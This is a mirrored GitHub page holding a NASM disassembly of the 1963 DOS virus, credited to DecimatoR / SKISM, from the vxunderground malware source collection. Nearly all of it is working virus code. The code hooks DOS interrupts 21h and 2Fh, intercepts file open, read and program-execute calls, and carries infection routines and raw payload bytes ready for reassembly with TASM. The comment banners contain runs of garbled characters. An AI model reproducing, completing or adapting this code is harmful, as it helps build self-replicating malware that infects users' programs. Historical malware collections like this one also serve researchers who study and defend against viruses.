mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
1292 lines
56 KiB
NASM
1292 lines
56 KiB
NASM
|
|
|||
|
PAGE 59,132
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> 1963 VIRUS <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> disassembly by <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> DecimatoR / SKISM <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> 01/15/92 Compile with TASM 2.0 DW 717-367-3501 <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
data_1e equ 4 ; (0000:0004=7FBh)
|
|||
|
data_2e equ 6 ; (0000:0006=70h)
|
|||
|
data_3e equ 4Ch ; (0000:004C=88h)
|
|||
|
data_4e equ 84h ; (0000:0084=16h)
|
|||
|
data_6e equ 0Ah ; (0046:000A=0)
|
|||
|
data_7e equ 16h ; (0046:0016=0)
|
|||
|
data_8e equ 2Ch ; (0046:002C=50h)
|
|||
|
data_9e equ 8ABh ; (0046:08AB=4146h)
|
|||
|
data_10e equ 8ADh ; (0046:08AD=3154h)
|
|||
|
data_11e equ 0Ah ; (08D4:000A=2F9h)
|
|||
|
data_12e equ 0Ch ; (08D4:000C=3872h)
|
|||
|
data_13e equ 100h ; (08D4:0100=0DFh)
|
|||
|
data_14e equ 1 ; (4815:0001=0FFFFh)
|
|||
|
data_15e equ 100h ; (4816:0100=0FFh)
|
|||
|
data_16e equ 1 ; (8343:0001=0FFFFh)
|
|||
|
data_17e equ 0Ah ; (8344:000A=0)
|
|||
|
data_18e equ 0Eh ; (8344:000E=8344h)
|
|||
|
data_49e equ 900h ; (8344:0900=0)
|
|||
|
data_50e equ 902h ; (8344:0902=0)
|
|||
|
data_51e equ 904h ; (8344:0904=8344h)
|
|||
|
data_52e equ 906h ; (8344:0906=0)
|
|||
|
data_53e equ 9EFh ; (8344:09EF=0)
|
|||
|
data_54e equ 10AFh ; (8344:10AF=0)
|
|||
|
data_55e equ 10B1h ; (8344:10B1=0)
|
|||
|
data_56e equ 10B3h ; (8344:10B3=0)
|
|||
|
|
|||
|
seg_a segment byte public
|
|||
|
assume cs:seg_a, ds:seg_a
|
|||
|
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
virus proc far
|
|||
|
|
|||
|
start:
|
|||
|
mov ah,30h ; '0'
|
|||
|
int 21h ; DOS Services ah=function 30h
|
|||
|
; get DOS version number ax
|
|||
|
cmp al,3
|
|||
|
jb loc_1 ; Jump if below
|
|||
|
mov ax,1200h
|
|||
|
int 2Fh ; Multiplex/Spooler al=func 00h
|
|||
|
; get installed status
|
|||
|
cmp al,0FFh
|
|||
|
loc_1:
|
|||
|
mov ax,0Bh
|
|||
|
jc loc_4 ; Jump if carry Set
|
|||
|
mov ah,4Ah ; 'J'
|
|||
|
mov bx,140h
|
|||
|
int 21h ; DOS Services ah=function 4Ah
|
|||
|
; change mem allocation, bx=siz
|
|||
|
jc loc_4 ; Jump if carry Set
|
|||
|
cli ; Disable interrupts
|
|||
|
push cs
|
|||
|
pop ss
|
|||
|
mov sp,13FEh
|
|||
|
call sub_1 ; (01EB)
|
|||
|
sti ; Enable interrupts
|
|||
|
mov ax,ds:data_8e ; (0046:002C=50h)
|
|||
|
or ax,ax ; Zero ?
|
|||
|
jz loc_5 ; Jump if zero
|
|||
|
call sub_13 ; (07EC)
|
|||
|
mov es,ax
|
|||
|
xor di,di ; Zero register
|
|||
|
xor ax,ax ; Zero register
|
|||
|
loc_2:
|
|||
|
scasw ; Scan es:[di] for ax
|
|||
|
jnz loc_2 ; Jump if not zero
|
|||
|
scasw ; Scan es:[di] for ax
|
|||
|
mov dx,di
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov ah,48h ; 'H'
|
|||
|
mov bx,0FFFFh
|
|||
|
int 21h ; DOS Services ah=function 48h
|
|||
|
; allocate memory, bx=bytes/16
|
|||
|
mov ah,48h ; 'H'
|
|||
|
int 21h ; DOS Services ah=function 48h
|
|||
|
; allocate memory, bx=bytes/16
|
|||
|
mov es,ax
|
|||
|
mov ah,49h ; 'I'
|
|||
|
int 21h ; DOS Services ah=function 49h
|
|||
|
; release memory block, es=seg
|
|||
|
xor ax,ax ; Zero register
|
|||
|
mov cx,bx
|
|||
|
mov bx,es
|
|||
|
|
|||
|
locloop_3:
|
|||
|
push cx
|
|||
|
mov cx,8
|
|||
|
xor di,di ; Zero register
|
|||
|
rep stosw ; Rep when cx >0 Store ax to es:[di]
|
|||
|
inc bx
|
|||
|
mov es,bx
|
|||
|
pop cx
|
|||
|
loop locloop_3 ; Loop if cx > 0
|
|||
|
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov bx,data_51e ; (8344:0904=44h)
|
|||
|
mov di,bx
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
mov al,80h
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
mov ax,cs
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
mov ax,5Ch
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
mov ax,cs
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
mov ax,6Ch
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
mov ax,cs
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
mov ax,4B00h
|
|||
|
int 21h ; DOS Services ah=function 4Bh
|
|||
|
; run progm @ds:dx, parm @es:bx
|
|||
|
loc_4:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
call sub_13 ; (07EC)
|
|||
|
jmp dword ptr cs:data_17e ; (8344:000A=0)
|
|||
|
loc_5:
|
|||
|
mov ax,1220h
|
|||
|
mov bx,5
|
|||
|
int 2Fh ; ??INT Non-standard interrupt.
|
|||
|
push bx
|
|||
|
dec bx
|
|||
|
dec bx
|
|||
|
mov es:[di],bl
|
|||
|
mov ax,1216h
|
|||
|
int 2Fh ; ??INT Non-standard interrupt.
|
|||
|
dec bx
|
|||
|
dec bx
|
|||
|
mov es:[di],bx
|
|||
|
mov ah,48h ; 'H'
|
|||
|
mov bx,0FFFFh
|
|||
|
int 21h ; DOS Services ah=function 48h
|
|||
|
; allocate memory, bx=bytes/16
|
|||
|
mov ah,48h ; 'H'
|
|||
|
int 21h ; DOS Services ah=function 48h
|
|||
|
; allocate memory, bx=bytes/16
|
|||
|
mov ds,ax
|
|||
|
pop bx
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
int 21h ; DOS Services ah=function 42h
|
|||
|
; move file ptr, cx,dx=offset
|
|||
|
mov ah,3Fh ; '?'
|
|||
|
mov dx,data_15e ; (4816:0100=0FFh)
|
|||
|
mov cx,es:[di+11h]
|
|||
|
int 21h ; DOS Services ah=function 3Fh
|
|||
|
; read file, cx=bytes, to ds:dx
|
|||
|
jc loc_4 ; Jump if carry Set
|
|||
|
mov ah,3Eh ; '>'
|
|||
|
int 21h ; DOS Services ah=function 3Eh
|
|||
|
; close file, bx=file handle
|
|||
|
mov ah,26h ; '&'
|
|||
|
mov dx,ds
|
|||
|
int 21h ; DOS Services ah=function 26h
|
|||
|
; create progm seg prefix dx
|
|||
|
dec dx
|
|||
|
mov es,dx
|
|||
|
mov es:data_14e,ds ; (4815:0001=0FFFFh)
|
|||
|
inc dx
|
|||
|
mov es,dx
|
|||
|
mov ss,dx
|
|||
|
mov sp,0FFFEh
|
|||
|
push ds
|
|||
|
mov ax,100h
|
|||
|
push ax
|
|||
|
retf ; Return far
|
|||
|
|
|||
|
virus endp
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_1 proc near
|
|||
|
push ds
|
|||
|
mov ax,1203h
|
|||
|
int 2Fh ; Multiplex/Spooler al=func 03h
|
|||
|
; remove all files from queue
|
|||
|
mov cs:data_51e,ds ; (8344:0904=8344h)
|
|||
|
xor si,si ; Zero register
|
|||
|
mov ds,si
|
|||
|
mov di,288h
|
|||
|
mov si,cs
|
|||
|
xchg di,ds:data_1e ; (0000:0004=7FBh)
|
|||
|
xchg si,ds:data_2e ; (0000:0006=70h)
|
|||
|
pushf ; Push flags
|
|||
|
pushf ; Push flags
|
|||
|
pushf ; Push flags
|
|||
|
mov bp,sp
|
|||
|
or byte ptr [bp+1],1
|
|||
|
popf ; Pop flags
|
|||
|
pushf ; Push flags
|
|||
|
pushf ; Push flags
|
|||
|
mov word ptr cs:data_52e,8AFh ; (8344:0906=0)
|
|||
|
mov ah,1
|
|||
|
call dword ptr ds:data_3e ; (0000:004C=2288h)
|
|||
|
popf ; Pop flags
|
|||
|
mov word ptr cs:data_52e,8ABh ; (8344:0906=0)
|
|||
|
mov ah,0Bh
|
|||
|
call dword ptr ds:data_4e ; (0000:0084=1716h)
|
|||
|
popf ; Pop flags
|
|||
|
mov ds:data_1e,di ; (0000:0004=7FBh)
|
|||
|
mov ds:data_2e,si ; (0000:0006=70h)
|
|||
|
pop ds
|
|||
|
push ds
|
|||
|
push es
|
|||
|
mov bx,cs
|
|||
|
mov bp,2AEh
|
|||
|
mov ax,ds:data_9e ; (0046:08AB=4146h)
|
|||
|
mov dx,ds:data_10e ; (0046:08AD=3154h)
|
|||
|
xor si,si ; Zero register
|
|||
|
mov ds,si
|
|||
|
cmp ax,ds:data_4e ; (0000:0084=1716h)
|
|||
|
jne loc_6 ; Jump if not equal
|
|||
|
cmp dx,word ptr ds:data_4e+2 ; (0000:0086=2C7h)
|
|||
|
jne loc_6 ; Jump if not equal
|
|||
|
mov ds:data_4e,bp ; (0000:0084=1716h)
|
|||
|
mov word ptr ds:data_4e+2,bx ; (0000:0086=2C7h)
|
|||
|
jmp short loc_10 ; (0285)
|
|||
|
loc_6:
|
|||
|
mov ax,8ABh
|
|||
|
mov es,bx
|
|||
|
mov cx,10h
|
|||
|
cld ; Clear direction
|
|||
|
|
|||
|
locloop_7:
|
|||
|
mov di,ax
|
|||
|
mov ds,dx
|
|||
|
cmpsw ; Cmp [si] to es:[di]
|
|||
|
jnz loc_9 ; Jump if not zero
|
|||
|
cmpsw ; Cmp [si] to es:[di]
|
|||
|
jnz loc_8 ; Jump if not zero
|
|||
|
mov [si-4],bp
|
|||
|
mov [si-2],bx
|
|||
|
loc_8:
|
|||
|
dec si
|
|||
|
dec si
|
|||
|
loc_9:
|
|||
|
dec si
|
|||
|
loop locloop_7 ; Loop if cx > 0
|
|||
|
|
|||
|
xchg si,cx
|
|||
|
inc dx
|
|||
|
cmp dx,bx
|
|||
|
jne locloop_7 ; Jump if not equal
|
|||
|
loc_10:
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
retn
|
|||
|
sub_1 endp
|
|||
|
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
push ax
|
|||
|
mov ax,[bp+4]
|
|||
|
cmp ax,cs:data_51e ; (8344:0904=8344h)
|
|||
|
ja loc_11 ; Jump if above
|
|||
|
push bx
|
|||
|
mov bx,cs:data_52e ; (8344:0906=0)
|
|||
|
mov cs:[bx+2],ax
|
|||
|
mov ax,[bp+2]
|
|||
|
mov cs:[bx],ax
|
|||
|
and byte ptr [bp+7],0FEh
|
|||
|
pop bx
|
|||
|
loc_11:
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
iret ; Interrupt return
|
|||
|
db 55h, 8Bh,0ECh, 80h,0FCh, 48h
|
|||
|
db 74h, 0Ah, 80h,0FCh, 4Ah, 74h
|
|||
|
db 05h, 3Dh, 03h, 4Bh, 75h, 0Ch
|
|||
|
db 0E8h, 89h, 05h,0E8h,0AFh, 05h
|
|||
|
db 9Ch,0E8h, 87h, 05h,0EBh, 55h
|
|||
|
db 80h,0FCh, 31h, 74h, 05h, 80h
|
|||
|
db 0FCh
|
|||
|
db 4Ch, 75h, 0Dh
|
|||
|
loc_12:
|
|||
|
push bx
|
|||
|
mov bx,13h
|
|||
|
loc_13:
|
|||
|
call sub_5 ; (0532)
|
|||
|
dec bx
|
|||
|
jns loc_13 ; Jump if not sign
|
|||
|
pop bx
|
|||
|
jmp short loc_23 ; (0342)
|
|||
|
loc_14:
|
|||
|
cmp ah,0Fh
|
|||
|
je loc_15 ; Jump if equal
|
|||
|
cmp ah,10h
|
|||
|
je loc_15 ; Jump if equal
|
|||
|
cmp ah,17h
|
|||
|
je loc_15 ; Jump if equal
|
|||
|
cmp ah,23h ; '#'
|
|||
|
jne loc_16 ; Jump if not equal
|
|||
|
loc_15:
|
|||
|
call sub_15 ; (081F)
|
|||
|
jmp short loc_23 ; (0342)
|
|||
|
loc_16:
|
|||
|
cmp ah,3Fh ; '?'
|
|||
|
jne loc_20 ; Jump if not equal
|
|||
|
call sub_5 ; (0532)
|
|||
|
jnc loc_18 ; Jump if carry=0
|
|||
|
mov ax,5
|
|||
|
loc_17:
|
|||
|
jmp loc_37 ; (0403)
|
|||
|
loc_18:
|
|||
|
jnz loc_23 ; Jump if not zero
|
|||
|
call sub_22 ; (0875)
|
|||
|
jc loc_17 ; Jump if carry Set
|
|||
|
pushf ; Push flags
|
|||
|
call sub_24 ; (0884)
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
mov di,dx
|
|||
|
call sub_11 ; (0785)
|
|||
|
call sub_25 ; (0896)
|
|||
|
loc_19:
|
|||
|
popf ; Pop flags
|
|||
|
pop bp
|
|||
|
retf 2 ; Return far
|
|||
|
loc_20:
|
|||
|
cmp ah,3Dh ; '='
|
|||
|
je loc_21 ; Jump if equal
|
|||
|
cmp ah,43h ; 'C'
|
|||
|
je loc_21 ; Jump if equal
|
|||
|
cmp ah,56h ; 'V'
|
|||
|
jne loc_22 ; Jump if not equal
|
|||
|
loc_21:
|
|||
|
call sub_3 ; (0519)
|
|||
|
jmp short loc_23 ; (0342)
|
|||
|
loc_22:
|
|||
|
cmp ah,3Eh ; '>'
|
|||
|
jne loc_24 ; Jump if not equal
|
|||
|
call sub_5 ; (0532)
|
|||
|
loc_23:
|
|||
|
push word ptr [bp+6]
|
|||
|
popf ; Pop flags
|
|||
|
pop bp
|
|||
|
cli ; Disable interrupts
|
|||
|
jmp dword ptr cs:data_20 ; (8344:08AB=0)
|
|||
|
loc_24:
|
|||
|
cmp ah,14h
|
|||
|
je loc_25 ; Jump if equal
|
|||
|
cmp ah,21h ; '!'
|
|||
|
je loc_25 ; Jump if equal
|
|||
|
cmp ah,27h ; '''
|
|||
|
je loc_25 ; Jump if equal
|
|||
|
jmp loc_35 ; (03DE)
|
|||
|
loc_25:
|
|||
|
call sub_15 ; (081F)
|
|||
|
jnc loc_27 ; Jump if carry=0
|
|||
|
loc_26:
|
|||
|
pop bp
|
|||
|
mov al,1
|
|||
|
iret ; Interrupt return
|
|||
|
loc_27:
|
|||
|
jnz loc_23 ; Jump if not zero
|
|||
|
call sub_24 ; (0884)
|
|||
|
call sub_14 ; (0814)
|
|||
|
cmp ah,14h
|
|||
|
jne loc_28 ; Jump if not equal
|
|||
|
mov ax,[si+0Ch]
|
|||
|
mov dx,80h
|
|||
|
mul dx ; dx:ax = reg * ax
|
|||
|
xor bx,bx ; Zero register
|
|||
|
add al,[si+20h]
|
|||
|
adc ah,bl
|
|||
|
adc bx,dx
|
|||
|
xchg ax,bx
|
|||
|
jmp short loc_29 ; (038F)
|
|||
|
loc_28:
|
|||
|
mov ax,[si+23h]
|
|||
|
mov bx,[si+21h]
|
|||
|
loc_29:
|
|||
|
mov cx,[si+0Eh]
|
|||
|
mul cx ; dx:ax = reg * ax
|
|||
|
jnc loc_31 ; Jump if carry=0
|
|||
|
loc_30:
|
|||
|
call sub_25 ; (0896)
|
|||
|
jmp short loc_26 ; (0364)
|
|||
|
loc_31:
|
|||
|
xchg ax,bx
|
|||
|
mul cx ; dx:ax = reg * ax
|
|||
|
add dx,bx
|
|||
|
jc loc_30 ; Jump if carry Set
|
|||
|
mov cs:data_37,ax ; (8344:08D0=0)
|
|||
|
mov cs:data_38,dx ; (8344:08D2=0)
|
|||
|
mov cs:data_39,cx ; (8344:08D4=0)
|
|||
|
call sub_25 ; (0896)
|
|||
|
call sub_22 ; (0875)
|
|||
|
or al,al ; Zero ?
|
|||
|
jz loc_32 ; Jump if zero
|
|||
|
cmp al,3
|
|||
|
jne loc_34 ; Jump if not equal
|
|||
|
loc_32:
|
|||
|
call sub_24 ; (0884)
|
|||
|
cmp ah,27h ; '''
|
|||
|
mov ax,cs:data_39 ; (8344:08D4=0)
|
|||
|
jnz loc_33 ; Jump if not zero
|
|||
|
mul cx ; dx:ax = reg * ax
|
|||
|
jc loc_30 ; Jump if carry Set
|
|||
|
loc_33:
|
|||
|
push ax
|
|||
|
mov ah,2Fh ; '/'
|
|||
|
int 21h ; DOS Services ah=function 2Fh
|
|||
|
; get DTA ptr into es:bx
|
|||
|
mov di,bx
|
|||
|
pop ax
|
|||
|
call sub_11 ; (0785)
|
|||
|
call sub_25 ; (0896)
|
|||
|
loc_34:
|
|||
|
pop bp
|
|||
|
iret ; Interrupt return
|
|||
|
loc_35:
|
|||
|
cmp ax,4B00h
|
|||
|
je loc_38 ; Jump if equal
|
|||
|
cmp ax,4B01h
|
|||
|
je loc_36 ; Jump if equal
|
|||
|
jmp loc_23 ; (0342)
|
|||
|
loc_36:
|
|||
|
call sub_2 ; (042F)
|
|||
|
jc loc_37 ; Jump if carry Set
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,offset data_41 ; (8344:08E2=0)
|
|||
|
lea di,[bx+0Eh] ; Load effective addr
|
|||
|
cld ; Clear direction
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
loc_37:
|
|||
|
pushf ; Push flags
|
|||
|
shr byte ptr [bp+6],1 ; Shift w/zeros fill
|
|||
|
popf ; Pop flags
|
|||
|
rcl byte ptr [bp+6],1 ; Rotate thru carry
|
|||
|
pop bp
|
|||
|
iret ; Interrupt return
|
|||
|
loc_38:
|
|||
|
call sub_2 ; (042F)
|
|||
|
jc loc_37 ; Jump if carry Set
|
|||
|
push ax
|
|||
|
mov ah,51h ; 'Q'
|
|||
|
int 21h ; DOS Services ah=function 51h
|
|||
|
; get active PSP segment in bx
|
|||
|
mov ds,bx
|
|||
|
mov es,bx
|
|||
|
pop ax
|
|||
|
cli ; Disable interrupts
|
|||
|
mov sp,cs:data_41 ; (8344:08E2=0)
|
|||
|
mov ss,cs:data_42 ; (8344:08E4=0)
|
|||
|
inc sp
|
|||
|
inc sp
|
|||
|
sti ; Enable interrupts
|
|||
|
jmp dword ptr cs:data_43 ; (8344:08E6=0)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_2 proc near
|
|||
|
call sub_24 ; (0884)
|
|||
|
stc ; Set carry flag
|
|||
|
call sub_4 ; (051A)
|
|||
|
loc_39:
|
|||
|
mov ax,0Bh
|
|||
|
jc loc_40 ; Jump if carry Set
|
|||
|
cld ; Clear direction
|
|||
|
pushf ; Push flags
|
|||
|
push ds
|
|||
|
mov ax,3522h
|
|||
|
int 21h ; DOS Services ah=function 35h
|
|||
|
; get intrpt vector al in es:bx
|
|||
|
mov cs:data_24,bx ; (8344:08B7=0)
|
|||
|
mov word ptr cs:data_24+2,es ; (8344:08B9=8344h)
|
|||
|
lds si,dword ptr [bp+0Ah] ; Load 32 bit ptr
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset data_39 ; (8344:08D4=0)
|
|||
|
mov bx,di
|
|||
|
mov cx,7
|
|||
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
pop ds
|
|||
|
call sub_16 ; (084C)
|
|||
|
push dx
|
|||
|
mov ax,4B01h
|
|||
|
call sub_23 ; (0879)
|
|||
|
pop dx
|
|||
|
call sub_17 ; (0851)
|
|||
|
jnc loc_42 ; Jump if carry=0
|
|||
|
loc_40:
|
|||
|
mov [bp+8],ax
|
|||
|
loc_41:
|
|||
|
call sub_25 ; (0896)
|
|||
|
retn
|
|||
|
loc_42:
|
|||
|
mov [bp+8],ax
|
|||
|
mov ah,51h ; 'Q'
|
|||
|
int 21h ; DOS Services ah=function 51h
|
|||
|
; get active PSP segment in bx
|
|||
|
mov es,bx
|
|||
|
mov si,[bp]
|
|||
|
lds dx,dword ptr ss:[si+2] ; Load 32 bit ptr
|
|||
|
mov es:data_11e,dx ; (08D4:000A=2F9h)
|
|||
|
mov es:data_12e,ds ; (08D4:000C=3872h)
|
|||
|
mov ax,2522h
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
popf ; Pop flags
|
|||
|
jnz loc_41 ; Jump if not zero
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,data_51e ; (8344:0904=44h)
|
|||
|
mov di,data_13e ; (08D4:0100=0DFh)
|
|||
|
mov cx,7ABh
|
|||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
call sub_7 ; (0758)
|
|||
|
jz loc_44 ; Jump if zero
|
|||
|
loc_43:
|
|||
|
clc ; Clear carry flag
|
|||
|
jmp short loc_41 ; (0470)
|
|||
|
loc_44:
|
|||
|
mov di,bx
|
|||
|
add di,10h
|
|||
|
mov ax,ds:data_55e ; (8344:10B1=0)
|
|||
|
mov word ptr data_43,ax ; (8344:08E6=0)
|
|||
|
mov ax,ds:data_56e ; (8344:10B3=0)
|
|||
|
add ax,di
|
|||
|
mov word ptr data_43+2,ax ; (8344:08E8=0)
|
|||
|
mov cx,ds:data_54e ; (8344:10AF=0)
|
|||
|
or cx,cx ; Zero ?
|
|||
|
jz loc_43 ; Jump if zero
|
|||
|
lds dx,dword ptr [bp+0Eh] ; Load 32 bit ptr
|
|||
|
call sub_18 ; (0862)
|
|||
|
jc loc_47 ; Jump if carry Set
|
|||
|
mov bx,ax
|
|||
|
push cx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
xor cx,cx ; Zero register
|
|||
|
mov dx,ds:data_50e ; (8344:0902=0)
|
|||
|
call sub_20 ; (086B)
|
|||
|
mov dx,904h
|
|||
|
pop cx
|
|||
|
|
|||
|
locloop_45:
|
|||
|
push cx
|
|||
|
mov cx,4
|
|||
|
call sub_8 ; (0764)
|
|||
|
pop cx
|
|||
|
jc loc_46 ; Jump if carry Set
|
|||
|
mov si,dx
|
|||
|
push ds
|
|||
|
mov ax,[si+2]
|
|||
|
mov si,[si]
|
|||
|
add ax,di
|
|||
|
mov ds,ax
|
|||
|
add [si],di
|
|||
|
pop ds
|
|||
|
loop locloop_45 ; Loop if cx > 0
|
|||
|
|
|||
|
call sub_19 ; (0867)
|
|||
|
jmp short loc_43 ; (04A8)
|
|||
|
loc_46:
|
|||
|
call sub_19 ; (0867)
|
|||
|
loc_47:
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
les bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr
|
|||
|
mov ds:data_17e,bx ; (8344:000A=0)
|
|||
|
mov ds:data_18e,es ; (8344:000E=8344h)
|
|||
|
call sub_13 ; (07EC)
|
|||
|
stc ; Set carry flag
|
|||
|
jmp loc_39 ; (0436)
|
|||
|
sub_2 endp
|
|||
|
|
|||
|
|
|||
|
